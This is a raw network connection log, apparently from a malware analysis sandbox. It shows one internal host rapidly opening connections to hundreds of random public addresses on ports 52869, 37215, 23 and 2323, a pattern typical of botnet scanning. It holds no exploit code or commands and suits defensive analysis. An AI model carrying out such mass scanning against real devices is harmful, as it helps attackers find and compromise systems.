Dec 4, 2024 20:34:26.741571903 CET	60019	52869	192.168.2.14	156.93.90.233
Dec 4, 2024 20:34:26.741575003 CET	60019	52869	192.168.2.14	197.145.169.246
Dec 4, 2024 20:34:26.741575956 CET	60019	52869	192.168.2.14	156.241.201.131
Dec 4, 2024 20:34:26.741584063 CET	60019	52869	192.168.2.14	156.220.235.216
Dec 4, 2024 20:34:26.741589069 CET	60019	52869	192.168.2.14	197.36.28.211
Dec 4, 2024 20:34:26.741591930 CET	60019	52869	192.168.2.14	197.215.16.151
Dec 4, 2024 20:34:26.741591930 CET	60019	52869	192.168.2.14	197.193.108.149
Dec 4, 2024 20:34:26.741609097 CET	60019	52869	192.168.2.14	197.107.204.168
Dec 4, 2024 20:34:26.741611004 CET	60019	52869	192.168.2.14	41.3.8.196
Dec 4, 2024 20:34:26.741616964 CET	60019	52869	192.168.2.14	197.109.25.213
Dec 4, 2024 20:34:26.741616964 CET	60019	52869	192.168.2.14	197.171.38.241
Dec 4, 2024 20:34:26.741620064 CET	60019	52869	192.168.2.14	41.147.2.238
Dec 4, 2024 20:34:26.741622925 CET	60019	52869	192.168.2.14	41.5.129.251
Dec 4, 2024 20:34:26.741627932 CET	60019	52869	192.168.2.14	197.80.89.3
Dec 4, 2024 20:34:26.741636038 CET	60019	52869	192.168.2.14	156.122.196.180
Dec 4, 2024 20:34:26.741636038 CET	60019	52869	192.168.2.14	197.242.163.53
Dec 4, 2024 20:34:26.741643906 CET	60019	52869	192.168.2.14	41.172.12.177
Dec 4, 2024 20:34:26.741650105 CET	60019	52869	192.168.2.14	156.6.236.3
Dec 4, 2024 20:34:26.741652012 CET	60019	52869	192.168.2.14	41.195.114.111
Dec 4, 2024 20:34:26.741652966 CET	60019	52869	192.168.2.14	197.130.77.16
Dec 4, 2024 20:34:26.741652966 CET	60019	52869	192.168.2.14	156.92.74.108
Dec 4, 2024 20:34:26.741661072 CET	60019	52869	192.168.2.14	41.47.54.47
Dec 4, 2024 20:34:26.741669893 CET	60019	52869	192.168.2.14	197.104.11.154
Dec 4, 2024 20:34:26.741679907 CET	60019	52869	192.168.2.14	197.64.191.67
Dec 4, 2024 20:34:26.741682053 CET	60019	52869	192.168.2.14	197.36.205.104
Dec 4, 2024 20:34:26.741682053 CET	60019	52869	192.168.2.14	41.170.121.28
Dec 4, 2024 20:34:26.741684914 CET	60019	52869	192.168.2.14	41.97.36.232
Dec 4, 2024 20:34:26.741698027 CET	60019	52869	192.168.2.14	41.211.78.14
Dec 4, 2024 20:34:26.741698027 CET	60019	52869	192.168.2.14	156.215.83.88
Dec 4, 2024 20:34:26.741698980 CET	60019	52869	192.168.2.14	156.254.155.188
Dec 4, 2024 20:34:26.741708040 CET	60019	52869	192.168.2.14	156.27.110.164
Dec 4, 2024 20:34:26.741709948 CET	60019	52869	192.168.2.14	156.75.199.29
Dec 4, 2024 20:34:26.741710901 CET	60019	52869	192.168.2.14	41.53.192.39
Dec 4, 2024 20:34:26.741712093 CET	60019	52869	192.168.2.14	197.19.200.175
Dec 4, 2024 20:34:26.741722107 CET	60019	52869	192.168.2.14	41.199.34.140
Dec 4, 2024 20:34:26.741733074 CET	60019	52869	192.168.2.14	197.48.206.111
Dec 4, 2024 20:34:26.741734028 CET	60019	52869	192.168.2.14	156.45.138.67
Dec 4, 2024 20:34:26.741735935 CET	60019	52869	192.168.2.14	41.128.217.243
Dec 4, 2024 20:34:26.741744041 CET	60019	52869	192.168.2.14	41.57.143.205
Dec 4, 2024 20:34:26.741759062 CET	60019	52869	192.168.2.14	41.168.42.241
Dec 4, 2024 20:34:26.741761923 CET	60019	52869	192.168.2.14	197.35.217.219
Dec 4, 2024 20:34:26.741761923 CET	60019	52869	192.168.2.14	156.234.210.79
Dec 4, 2024 20:34:26.741761923 CET	60019	52869	192.168.2.14	156.235.135.176
Dec 4, 2024 20:34:26.741774082 CET	60019	52869	192.168.2.14	41.67.44.221
Dec 4, 2024 20:34:26.741774082 CET	60019	52869	192.168.2.14	41.47.238.100
Dec 4, 2024 20:34:26.741781950 CET	60019	52869	192.168.2.14	41.160.193.72
Dec 4, 2024 20:34:26.741789103 CET	60019	52869	192.168.2.14	197.107.83.91
Dec 4, 2024 20:34:26.741795063 CET	60019	52869	192.168.2.14	156.149.49.170
Dec 4, 2024 20:34:26.741795063 CET	60019	52869	192.168.2.14	156.158.253.172
Dec 4, 2024 20:34:26.741796970 CET	60019	52869	192.168.2.14	197.41.230.168
Dec 4, 2024 20:34:26.741797924 CET	60019	52869	192.168.2.14	156.34.7.106
Dec 4, 2024 20:34:26.741797924 CET	60019	52869	192.168.2.14	197.33.125.215
Dec 4, 2024 20:34:26.741797924 CET	60019	52869	192.168.2.14	197.178.66.101
Dec 4, 2024 20:34:26.741811037 CET	53292	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:26.741820097 CET	60019	52869	192.168.2.14	41.166.96.232
Dec 4, 2024 20:34:26.741820097 CET	60019	52869	192.168.2.14	197.0.64.154
Dec 4, 2024 20:34:26.741825104 CET	60019	52869	192.168.2.14	197.109.174.148
Dec 4, 2024 20:34:26.741827011 CET	60019	52869	192.168.2.14	41.251.182.190
Dec 4, 2024 20:34:26.741827011 CET	60019	52869	192.168.2.14	197.71.92.139
Dec 4, 2024 20:34:26.741828918 CET	60019	52869	192.168.2.14	197.187.14.166
Dec 4, 2024 20:34:26.741832972 CET	60019	52869	192.168.2.14	197.100.149.192
Dec 4, 2024 20:34:26.741837025 CET	60019	52869	192.168.2.14	41.236.16.43
Dec 4, 2024 20:34:26.741839886 CET	60019	52869	192.168.2.14	197.244.217.46
Dec 4, 2024 20:34:26.741844893 CET	60019	52869	192.168.2.14	41.183.14.55
Dec 4, 2024 20:34:26.741844893 CET	60019	52869	192.168.2.14	197.221.14.141
Dec 4, 2024 20:34:26.741844893 CET	60019	52869	192.168.2.14	197.102.191.42
Dec 4, 2024 20:34:26.741847038 CET	60019	52869	192.168.2.14	41.37.164.39
Dec 4, 2024 20:34:26.741846085 CET	60019	52869	192.168.2.14	156.30.26.147
Dec 4, 2024 20:34:26.741853952 CET	60019	52869	192.168.2.14	197.173.207.23
Dec 4, 2024 20:34:26.741872072 CET	60019	52869	192.168.2.14	41.164.55.99
Dec 4, 2024 20:34:26.741872072 CET	60019	52869	192.168.2.14	156.252.250.110
Dec 4, 2024 20:34:26.741872072 CET	60019	52869	192.168.2.14	156.36.159.109
Dec 4, 2024 20:34:26.741878986 CET	60019	52869	192.168.2.14	197.187.182.30
Dec 4, 2024 20:34:26.741880894 CET	60019	52869	192.168.2.14	197.212.171.51
Dec 4, 2024 20:34:26.741880894 CET	60019	52869	192.168.2.14	197.13.107.21
Dec 4, 2024 20:34:26.741880894 CET	60019	52869	192.168.2.14	197.216.224.143
Dec 4, 2024 20:34:26.741887093 CET	60019	52869	192.168.2.14	41.123.153.60
Dec 4, 2024 20:34:26.741893053 CET	60019	52869	192.168.2.14	197.248.98.143
Dec 4, 2024 20:34:26.741893053 CET	60019	52869	192.168.2.14	197.167.194.35
Dec 4, 2024 20:34:26.741893053 CET	60019	52869	192.168.2.14	41.211.132.173
Dec 4, 2024 20:34:26.741895914 CET	60019	52869	192.168.2.14	197.127.27.104
Dec 4, 2024 20:34:26.741895914 CET	60019	52869	192.168.2.14	41.114.193.92
Dec 4, 2024 20:34:26.741895914 CET	60019	52869	192.168.2.14	156.144.189.77
Dec 4, 2024 20:34:26.741898060 CET	60019	52869	192.168.2.14	41.7.8.71
Dec 4, 2024 20:34:26.741903067 CET	60019	52869	192.168.2.14	41.139.47.73
Dec 4, 2024 20:34:26.741908073 CET	60019	52869	192.168.2.14	197.161.71.115
Dec 4, 2024 20:34:26.741908073 CET	60019	52869	192.168.2.14	197.69.86.94
Dec 4, 2024 20:34:26.741911888 CET	60019	52869	192.168.2.14	197.9.235.122
Dec 4, 2024 20:34:26.741918087 CET	60019	52869	192.168.2.14	197.2.111.3
Dec 4, 2024 20:34:26.741926908 CET	60019	52869	192.168.2.14	156.57.127.135
Dec 4, 2024 20:34:26.741926908 CET	60019	52869	192.168.2.14	197.198.181.40
Dec 4, 2024 20:34:26.741928101 CET	60019	52869	192.168.2.14	197.110.76.54
Dec 4, 2024 20:34:26.741926908 CET	60019	52869	192.168.2.14	41.182.139.28
Dec 4, 2024 20:34:26.741926908 CET	60019	52869	192.168.2.14	197.136.12.165
Dec 4, 2024 20:34:26.741928101 CET	60019	52869	192.168.2.14	41.186.124.59
Dec 4, 2024 20:34:26.741934061 CET	60019	52869	192.168.2.14	197.50.246.161
Dec 4, 2024 20:34:26.741934061 CET	60019	52869	192.168.2.14	156.224.23.220
Dec 4, 2024 20:34:26.741934061 CET	60019	52869	192.168.2.14	156.104.241.105
Dec 4, 2024 20:34:26.741938114 CET	60019	52869	192.168.2.14	41.92.251.176
Dec 4, 2024 20:34:26.741940975 CET	60019	52869	192.168.2.14	41.123.228.186
Dec 4, 2024 20:34:26.741940975 CET	60019	52869	192.168.2.14	197.77.223.238
Dec 4, 2024 20:34:26.741944075 CET	60019	52869	192.168.2.14	156.131.135.21
Dec 4, 2024 20:34:26.741940975 CET	60019	52869	192.168.2.14	197.150.217.194
Dec 4, 2024 20:34:26.741945028 CET	60019	52869	192.168.2.14	41.137.217.74
Dec 4, 2024 20:34:26.741940975 CET	60019	52869	192.168.2.14	41.134.54.181
Dec 4, 2024 20:34:26.741945028 CET	60019	52869	192.168.2.14	41.75.150.127
Dec 4, 2024 20:34:26.741940975 CET	60019	52869	192.168.2.14	156.191.167.202
Dec 4, 2024 20:34:26.741947889 CET	60019	52869	192.168.2.14	156.127.157.62
Dec 4, 2024 20:34:26.741957903 CET	60019	52869	192.168.2.14	197.38.168.147
Dec 4, 2024 20:34:26.741957903 CET	60019	52869	192.168.2.14	197.141.16.46
Dec 4, 2024 20:34:26.741957903 CET	60019	52869	192.168.2.14	156.139.185.159
Dec 4, 2024 20:34:26.741957903 CET	60019	52869	192.168.2.14	156.212.97.22
Dec 4, 2024 20:34:26.741961002 CET	60019	52869	192.168.2.14	41.35.171.20
Dec 4, 2024 20:34:26.741961002 CET	60019	52869	192.168.2.14	41.45.118.192
Dec 4, 2024 20:34:26.741961956 CET	60019	52869	192.168.2.14	197.138.177.67
Dec 4, 2024 20:34:26.741965055 CET	60019	52869	192.168.2.14	197.124.200.116
Dec 4, 2024 20:34:26.741965055 CET	60019	52869	192.168.2.14	41.111.98.162
Dec 4, 2024 20:34:26.741965055 CET	60019	52869	192.168.2.14	197.225.22.86
Dec 4, 2024 20:34:26.741965055 CET	60019	52869	192.168.2.14	197.9.64.142
Dec 4, 2024 20:34:26.741966963 CET	60019	52869	192.168.2.14	156.53.50.183
Dec 4, 2024 20:34:26.741976023 CET	60019	52869	192.168.2.14	156.131.112.101
Dec 4, 2024 20:34:26.741976976 CET	60019	52869	192.168.2.14	156.231.161.249
Dec 4, 2024 20:34:26.741978884 CET	60019	52869	192.168.2.14	197.205.163.95
Dec 4, 2024 20:34:26.741978884 CET	60019	52869	192.168.2.14	156.45.132.162
Dec 4, 2024 20:34:26.741980076 CET	60019	52869	192.168.2.14	41.135.207.105
Dec 4, 2024 20:34:26.741980076 CET	60019	52869	192.168.2.14	41.223.82.253
Dec 4, 2024 20:34:26.741985083 CET	60019	52869	192.168.2.14	197.160.254.111
Dec 4, 2024 20:34:26.741997004 CET	60019	52869	192.168.2.14	156.161.62.172
Dec 4, 2024 20:34:26.742000103 CET	60019	52869	192.168.2.14	197.214.145.171
Dec 4, 2024 20:34:26.742002964 CET	60019	52869	192.168.2.14	197.132.255.129
Dec 4, 2024 20:34:26.742003918 CET	60019	52869	192.168.2.14	41.66.228.172
Dec 4, 2024 20:34:26.742003918 CET	60019	52869	192.168.2.14	41.12.194.29
Dec 4, 2024 20:34:26.742003918 CET	60019	52869	192.168.2.14	41.75.132.84
Dec 4, 2024 20:34:26.742005110 CET	60019	52869	192.168.2.14	156.77.141.111
Dec 4, 2024 20:34:26.742003918 CET	60019	52869	192.168.2.14	197.216.136.199
Dec 4, 2024 20:34:26.742005110 CET	60019	52869	192.168.2.14	41.50.206.167
Dec 4, 2024 20:34:26.742007971 CET	60019	52869	192.168.2.14	41.186.130.87
Dec 4, 2024 20:34:26.742013931 CET	60019	52869	192.168.2.14	156.12.196.21
Dec 4, 2024 20:34:26.742013931 CET	60019	52869	192.168.2.14	156.96.166.129
Dec 4, 2024 20:34:26.742535114 CET	58442	52869	192.168.2.14	41.103.209.188
Dec 4, 2024 20:34:26.742842913 CET	51564	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:26.743583918 CET	48420	52869	192.168.2.14	41.169.164.75
Dec 4, 2024 20:34:26.744281054 CET	34774	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:26.744621038 CET	49098	52869	192.168.2.14	41.174.40.11
Dec 4, 2024 20:34:26.745016098 CET	60787	23	192.168.2.14	66.233.198.40
Dec 4, 2024 20:34:26.745018959 CET	60787	2323	192.168.2.14	176.11.239.209
Dec 4, 2024 20:34:26.745018959 CET	60787	23	192.168.2.14	99.232.47.227
Dec 4, 2024 20:34:26.745023966 CET	60787	23	192.168.2.14	126.155.26.127
Dec 4, 2024 20:34:26.745023966 CET	60787	23	192.168.2.14	46.168.219.77
Dec 4, 2024 20:34:26.745027065 CET	60787	23	192.168.2.14	212.31.218.1
Dec 4, 2024 20:34:26.745027065 CET	60787	23	192.168.2.14	220.143.175.129
Dec 4, 2024 20:34:26.745028019 CET	60787	23	192.168.2.14	178.161.243.140
Dec 4, 2024 20:34:26.745029926 CET	60787	23	192.168.2.14	109.65.163.168
Dec 4, 2024 20:34:26.745035887 CET	60787	23	192.168.2.14	61.232.36.179
Dec 4, 2024 20:34:26.745039940 CET	60787	2323	192.168.2.14	107.143.245.184
Dec 4, 2024 20:34:26.745039940 CET	60787	23	192.168.2.14	161.62.250.32
Dec 4, 2024 20:34:26.745057106 CET	60787	23	192.168.2.14	115.196.128.12
Dec 4, 2024 20:34:26.745059967 CET	60787	23	192.168.2.14	70.194.106.177
Dec 4, 2024 20:34:26.745074987 CET	60787	23	192.168.2.14	45.209.184.220
Dec 4, 2024 20:34:26.745074987 CET	60787	23	192.168.2.14	156.91.87.152
Dec 4, 2024 20:34:26.745080948 CET	60787	2323	192.168.2.14	187.151.12.239
Dec 4, 2024 20:34:26.745080948 CET	60787	23	192.168.2.14	98.244.231.69
Dec 4, 2024 20:34:26.745081902 CET	60787	23	192.168.2.14	191.101.58.166
Dec 4, 2024 20:34:26.745090008 CET	60787	23	192.168.2.14	91.70.99.159
Dec 4, 2024 20:34:26.745096922 CET	60787	23	192.168.2.14	170.109.142.194
Dec 4, 2024 20:34:26.745096922 CET	60787	23	192.168.2.14	180.62.11.136
Dec 4, 2024 20:34:26.745096922 CET	60787	23	192.168.2.14	183.253.180.233
Dec 4, 2024 20:34:26.745096922 CET	60787	23	192.168.2.14	96.213.163.85
Dec 4, 2024 20:34:26.745104074 CET	60787	23	192.168.2.14	47.147.34.106
Dec 4, 2024 20:34:26.745105982 CET	60787	23	192.168.2.14	31.253.139.224
Dec 4, 2024 20:34:26.745105982 CET	60787	23	192.168.2.14	198.231.97.103
Dec 4, 2024 20:34:26.745107889 CET	60787	23	192.168.2.14	100.14.246.144
Dec 4, 2024 20:34:26.745109081 CET	60787	23	192.168.2.14	48.218.145.25
Dec 4, 2024 20:34:26.745110989 CET	60787	23	192.168.2.14	118.131.4.86
Dec 4, 2024 20:34:26.745119095 CET	60787	23	192.168.2.14	175.0.48.245
Dec 4, 2024 20:34:26.745120049 CET	60787	23	192.168.2.14	108.177.31.117
Dec 4, 2024 20:34:26.745121956 CET	60787	2323	192.168.2.14	39.56.101.205
Dec 4, 2024 20:34:26.745121956 CET	60787	23	192.168.2.14	81.40.21.153
Dec 4, 2024 20:34:26.745129108 CET	60787	23	192.168.2.14	149.18.179.155
Dec 4, 2024 20:34:26.745129108 CET	60787	23	192.168.2.14	68.144.150.180
Dec 4, 2024 20:34:26.745129108 CET	60787	23	192.168.2.14	185.9.135.171
Dec 4, 2024 20:34:26.745136976 CET	60787	23	192.168.2.14	41.155.243.208
Dec 4, 2024 20:34:26.745136976 CET	60787	23	192.168.2.14	148.215.94.70
Dec 4, 2024 20:34:26.745137930 CET	60787	23	192.168.2.14	103.1.245.63
Dec 4, 2024 20:34:26.745136976 CET	60787	23	192.168.2.14	80.164.133.197
Dec 4, 2024 20:34:26.745137930 CET	60787	23	192.168.2.14	112.128.20.159
Dec 4, 2024 20:34:26.745141029 CET	60787	23	192.168.2.14	212.143.233.210
Dec 4, 2024 20:34:26.745137930 CET	60787	2323	192.168.2.14	102.68.4.0
Dec 4, 2024 20:34:26.745141983 CET	60787	23	192.168.2.14	92.69.76.78
Dec 4, 2024 20:34:26.745136976 CET	60787	23	192.168.2.14	66.223.145.133
Dec 4, 2024 20:34:26.745136976 CET	60787	23	192.168.2.14	36.222.22.132
Dec 4, 2024 20:34:26.745148897 CET	60787	23	192.168.2.14	200.81.144.66
Dec 4, 2024 20:34:26.745152950 CET	60787	23	192.168.2.14	219.190.203.187
Dec 4, 2024 20:34:26.745152950 CET	60787	23	192.168.2.14	54.7.14.87
Dec 4, 2024 20:34:26.745156050 CET	60787	23	192.168.2.14	111.0.199.47
Dec 4, 2024 20:34:26.745157003 CET	60787	23	192.168.2.14	162.133.62.124
Dec 4, 2024 20:34:26.745158911 CET	60787	23	192.168.2.14	189.93.135.121
Dec 4, 2024 20:34:26.745166063 CET	60787	23	192.168.2.14	183.124.82.36
Dec 4, 2024 20:34:26.745166063 CET	60787	2323	192.168.2.14	115.72.127.85
Dec 4, 2024 20:34:26.745166063 CET	60787	23	192.168.2.14	76.103.200.225
Dec 4, 2024 20:34:26.745166063 CET	60787	23	192.168.2.14	116.153.147.193
Dec 4, 2024 20:34:26.745172977 CET	60787	23	192.168.2.14	174.139.184.45
Dec 4, 2024 20:34:26.745179892 CET	60787	23	192.168.2.14	166.64.240.211
Dec 4, 2024 20:34:26.745182037 CET	60787	23	192.168.2.14	165.119.213.15
Dec 4, 2024 20:34:26.745183945 CET	60787	2323	192.168.2.14	116.166.96.222
Dec 4, 2024 20:34:26.745188951 CET	60787	23	192.168.2.14	42.48.45.87
Dec 4, 2024 20:34:26.745191097 CET	60787	23	192.168.2.14	13.122.225.146
Dec 4, 2024 20:34:26.745196104 CET	60787	23	192.168.2.14	218.66.24.231
Dec 4, 2024 20:34:26.745198011 CET	60787	23	192.168.2.14	42.140.235.126
Dec 4, 2024 20:34:26.745206118 CET	60787	23	192.168.2.14	160.39.77.44
Dec 4, 2024 20:34:26.745215893 CET	60787	23	192.168.2.14	65.67.245.23
Dec 4, 2024 20:34:26.745215893 CET	60787	23	192.168.2.14	73.93.139.53
Dec 4, 2024 20:34:26.745218992 CET	60787	23	192.168.2.14	169.155.144.244
Dec 4, 2024 20:34:26.745218992 CET	60787	23	192.168.2.14	77.92.81.175
Dec 4, 2024 20:34:26.745222092 CET	60787	23	192.168.2.14	68.167.182.38
Dec 4, 2024 20:34:26.745223045 CET	60787	2323	192.168.2.14	154.147.131.135
Dec 4, 2024 20:34:26.745230913 CET	60787	23	192.168.2.14	91.107.155.97
Dec 4, 2024 20:34:26.745230913 CET	60787	23	192.168.2.14	168.114.232.80
Dec 4, 2024 20:34:26.745234013 CET	60787	23	192.168.2.14	60.33.31.216
Dec 4, 2024 20:34:26.745239019 CET	60787	23	192.168.2.14	85.245.90.240
Dec 4, 2024 20:34:26.745253086 CET	60787	23	192.168.2.14	194.55.176.34
Dec 4, 2024 20:34:26.745253086 CET	60787	23	192.168.2.14	157.184.208.181
Dec 4, 2024 20:34:26.745254993 CET	60787	23	192.168.2.14	91.226.159.136
Dec 4, 2024 20:34:26.745254993 CET	60787	23	192.168.2.14	199.22.20.48
Dec 4, 2024 20:34:26.745255947 CET	60787	23	192.168.2.14	77.158.39.189
Dec 4, 2024 20:34:26.745260000 CET	60787	23	192.168.2.14	141.220.91.160
Dec 4, 2024 20:34:26.745263100 CET	60787	23	192.168.2.14	45.7.82.120
Dec 4, 2024 20:34:26.745268106 CET	60787	23	192.168.2.14	98.226.139.215
Dec 4, 2024 20:34:26.745268106 CET	60787	23	192.168.2.14	195.193.117.184
Dec 4, 2024 20:34:26.745268106 CET	60787	23	192.168.2.14	41.182.99.188
Dec 4, 2024 20:34:26.745275974 CET	60787	2323	192.168.2.14	142.56.212.15
Dec 4, 2024 20:34:26.745280027 CET	60787	2323	192.168.2.14	155.53.237.2
Dec 4, 2024 20:34:26.745280027 CET	60787	23	192.168.2.14	178.200.252.70
Dec 4, 2024 20:34:26.745280027 CET	60787	23	192.168.2.14	218.1.121.178
Dec 4, 2024 20:34:26.745280027 CET	60787	23	192.168.2.14	186.8.2.39
Dec 4, 2024 20:34:26.745284081 CET	60787	23	192.168.2.14	77.193.175.4
Dec 4, 2024 20:34:26.745290041 CET	60787	23	192.168.2.14	59.157.231.61
Dec 4, 2024 20:34:26.745292902 CET	60787	23	192.168.2.14	154.211.49.231
Dec 4, 2024 20:34:26.745295048 CET	60787	23	192.168.2.14	77.31.202.153
Dec 4, 2024 20:34:26.745306015 CET	60787	23	192.168.2.14	158.30.95.199
Dec 4, 2024 20:34:26.745309114 CET	60787	23	192.168.2.14	186.87.61.129
Dec 4, 2024 20:34:26.745311975 CET	60787	23	192.168.2.14	17.192.76.243
Dec 4, 2024 20:34:26.745326042 CET	60787	23	192.168.2.14	219.175.104.144
Dec 4, 2024 20:34:26.745327950 CET	60787	2323	192.168.2.14	71.0.12.218
Dec 4, 2024 20:34:26.745331049 CET	60787	23	192.168.2.14	27.141.185.224
Dec 4, 2024 20:34:26.745333910 CET	60787	23	192.168.2.14	194.240.65.189
Dec 4, 2024 20:34:26.745337009 CET	60787	23	192.168.2.14	189.155.98.81
Dec 4, 2024 20:34:26.745356083 CET	60787	23	192.168.2.14	54.13.77.65
Dec 4, 2024 20:34:26.745357990 CET	60787	23	192.168.2.14	171.207.165.191
Dec 4, 2024 20:34:26.745357990 CET	60787	23	192.168.2.14	94.96.38.102
Dec 4, 2024 20:34:26.745357990 CET	60787	23	192.168.2.14	32.168.147.169
Dec 4, 2024 20:34:26.745357990 CET	60787	23	192.168.2.14	62.111.191.58
Dec 4, 2024 20:34:26.745363951 CET	60787	23	192.168.2.14	202.143.37.197
Dec 4, 2024 20:34:26.745363951 CET	60787	23	192.168.2.14	165.254.57.119
Dec 4, 2024 20:34:26.745363951 CET	60787	23	192.168.2.14	98.57.63.142
Dec 4, 2024 20:34:26.745373011 CET	60787	2323	192.168.2.14	207.239.236.62
Dec 4, 2024 20:34:26.745373011 CET	60787	23	192.168.2.14	70.123.73.10
Dec 4, 2024 20:34:26.745373011 CET	60787	23	192.168.2.14	143.10.108.225
Dec 4, 2024 20:34:26.745382071 CET	60787	23	192.168.2.14	121.78.147.177
Dec 4, 2024 20:34:26.745382071 CET	60787	23	192.168.2.14	169.217.198.97
Dec 4, 2024 20:34:26.745373011 CET	60787	23	192.168.2.14	149.176.12.57
Dec 4, 2024 20:34:26.745383978 CET	60787	23	192.168.2.14	222.220.127.249
Dec 4, 2024 20:34:26.745373011 CET	60787	23	192.168.2.14	9.53.73.99
Dec 4, 2024 20:34:26.745383978 CET	60787	2323	192.168.2.14	166.228.70.64
Dec 4, 2024 20:34:26.745373011 CET	60787	23	192.168.2.14	73.2.162.121
Dec 4, 2024 20:34:26.745383978 CET	60787	23	192.168.2.14	68.250.13.202
Dec 4, 2024 20:34:26.745407104 CET	60787	23	192.168.2.14	70.143.84.154
Dec 4, 2024 20:34:26.745412111 CET	60787	23	192.168.2.14	47.118.234.186
Dec 4, 2024 20:34:26.745413065 CET	60787	23	192.168.2.14	45.44.228.72
Dec 4, 2024 20:34:26.745413065 CET	60787	23	192.168.2.14	159.71.154.239
Dec 4, 2024 20:34:26.745420933 CET	60787	23	192.168.2.14	209.148.137.148
Dec 4, 2024 20:34:26.745430946 CET	60787	23	192.168.2.14	148.81.235.103
Dec 4, 2024 20:34:26.745433092 CET	60787	23	192.168.2.14	193.26.231.155
Dec 4, 2024 20:34:26.745433092 CET	60787	23	192.168.2.14	112.50.136.165
Dec 4, 2024 20:34:26.745441914 CET	60787	2323	192.168.2.14	170.129.81.151
Dec 4, 2024 20:34:26.745450974 CET	60787	23	192.168.2.14	94.185.67.109
Dec 4, 2024 20:34:26.745460987 CET	60787	23	192.168.2.14	32.163.79.90
Dec 4, 2024 20:34:26.745471001 CET	60787	23	192.168.2.14	203.144.8.77
Dec 4, 2024 20:34:26.745471001 CET	60787	23	192.168.2.14	222.132.191.89
Dec 4, 2024 20:34:26.745476961 CET	60787	23	192.168.2.14	135.5.135.182
Dec 4, 2024 20:34:26.745479107 CET	60787	23	192.168.2.14	179.134.150.113
Dec 4, 2024 20:34:26.745480061 CET	60787	23	192.168.2.14	183.87.45.109
Dec 4, 2024 20:34:26.745485067 CET	60787	2323	192.168.2.14	174.201.161.180
Dec 4, 2024 20:34:26.745485067 CET	60787	23	192.168.2.14	101.73.233.135
Dec 4, 2024 20:34:26.745490074 CET	60787	23	192.168.2.14	208.108.50.197
Dec 4, 2024 20:34:26.745493889 CET	60787	23	192.168.2.14	216.3.249.226
Dec 4, 2024 20:34:26.745495081 CET	60787	23	192.168.2.14	163.39.146.75
Dec 4, 2024 20:34:26.745495081 CET	60787	23	192.168.2.14	9.253.240.8
Dec 4, 2024 20:34:26.745495081 CET	60787	23	192.168.2.14	119.66.225.42
Dec 4, 2024 20:34:26.745511055 CET	60787	23	192.168.2.14	187.249.225.151
Dec 4, 2024 20:34:26.745513916 CET	60787	23	192.168.2.14	102.238.5.39
Dec 4, 2024 20:34:26.745513916 CET	60787	23	192.168.2.14	211.254.245.163
Dec 4, 2024 20:34:26.745522022 CET	60787	23	192.168.2.14	219.30.123.57
Dec 4, 2024 20:34:26.745526075 CET	60787	23	192.168.2.14	162.38.45.191
Dec 4, 2024 20:34:26.745526075 CET	60787	2323	192.168.2.14	177.177.10.251
Dec 4, 2024 20:34:26.745526075 CET	60787	23	192.168.2.14	202.196.224.140
Dec 4, 2024 20:34:26.745527983 CET	60787	23	192.168.2.14	103.31.56.82
Dec 4, 2024 20:34:26.745526075 CET	60787	23	192.168.2.14	8.193.121.177
Dec 4, 2024 20:34:26.745541096 CET	60787	23	192.168.2.14	35.91.15.138
Dec 4, 2024 20:34:26.745546103 CET	60787	23	192.168.2.14	198.1.151.89
Dec 4, 2024 20:34:26.745559931 CET	60787	23	192.168.2.14	47.54.209.27
Dec 4, 2024 20:34:26.745564938 CET	60787	23	192.168.2.14	103.79.214.118
Dec 4, 2024 20:34:26.745575905 CET	60787	23	192.168.2.14	82.191.109.71
Dec 4, 2024 20:34:26.745577097 CET	60787	23	192.168.2.14	95.149.234.119
Dec 4, 2024 20:34:26.746314049 CET	55288	52869	192.168.2.14	156.149.147.139
Dec 4, 2024 20:34:26.746395111 CET	45444	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:26.747447014 CET	42308	52869	192.168.2.14	197.207.12.12
Dec 4, 2024 20:34:26.747905970 CET	44568	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:26.748876095 CET	50378	52869	192.168.2.14	41.129.42.30
Dec 4, 2024 20:34:26.749370098 CET	46408	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:26.750255108 CET	52618	52869	192.168.2.14	156.235.201.159
Dec 4, 2024 20:34:26.750772953 CET	55360	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:26.751745939 CET	55648	52869	192.168.2.14	41.118.64.160
Dec 4, 2024 20:34:26.752218962 CET	42072	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:26.753055096 CET	52442	52869	192.168.2.14	197.61.232.166
Dec 4, 2024 20:34:26.753556967 CET	48000	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:26.754420042 CET	33924	52869	192.168.2.14	156.88.209.208
Dec 4, 2024 20:34:26.754919052 CET	51074	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:26.755805016 CET	44664	52869	192.168.2.14	41.135.93.166
Dec 4, 2024 20:34:26.756395102 CET	33830	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:26.757272005 CET	59698	52869	192.168.2.14	156.57.109.37
Dec 4, 2024 20:34:26.757781982 CET	55010	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:26.758694887 CET	52208	52869	192.168.2.14	41.222.211.104
Dec 4, 2024 20:34:26.759186029 CET	58026	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:26.760262966 CET	42978	52869	192.168.2.14	197.82.65.161
Dec 4, 2024 20:34:26.760770082 CET	46116	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:26.761742115 CET	45682	52869	192.168.2.14	41.191.54.80
Dec 4, 2024 20:34:26.762339115 CET	38940	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:26.763304949 CET	44424	52869	192.168.2.14	156.95.214.212
Dec 4, 2024 20:34:26.763782978 CET	36106	37215	192.168.2.14	156.126.215.134
Dec 4, 2024 20:34:26.764657974 CET	37750	52869	192.168.2.14	156.125.46.219
Dec 4, 2024 20:34:26.765139103 CET	59160	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:26.766079903 CET	58808	52869	192.168.2.14	156.229.181.62
Dec 4, 2024 20:34:26.766566038 CET	34260	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:26.767503977 CET	48482	52869	192.168.2.14	156.30.92.86
Dec 4, 2024 20:34:26.767992973 CET	56600	37215	192.168.2.14	156.158.192.228
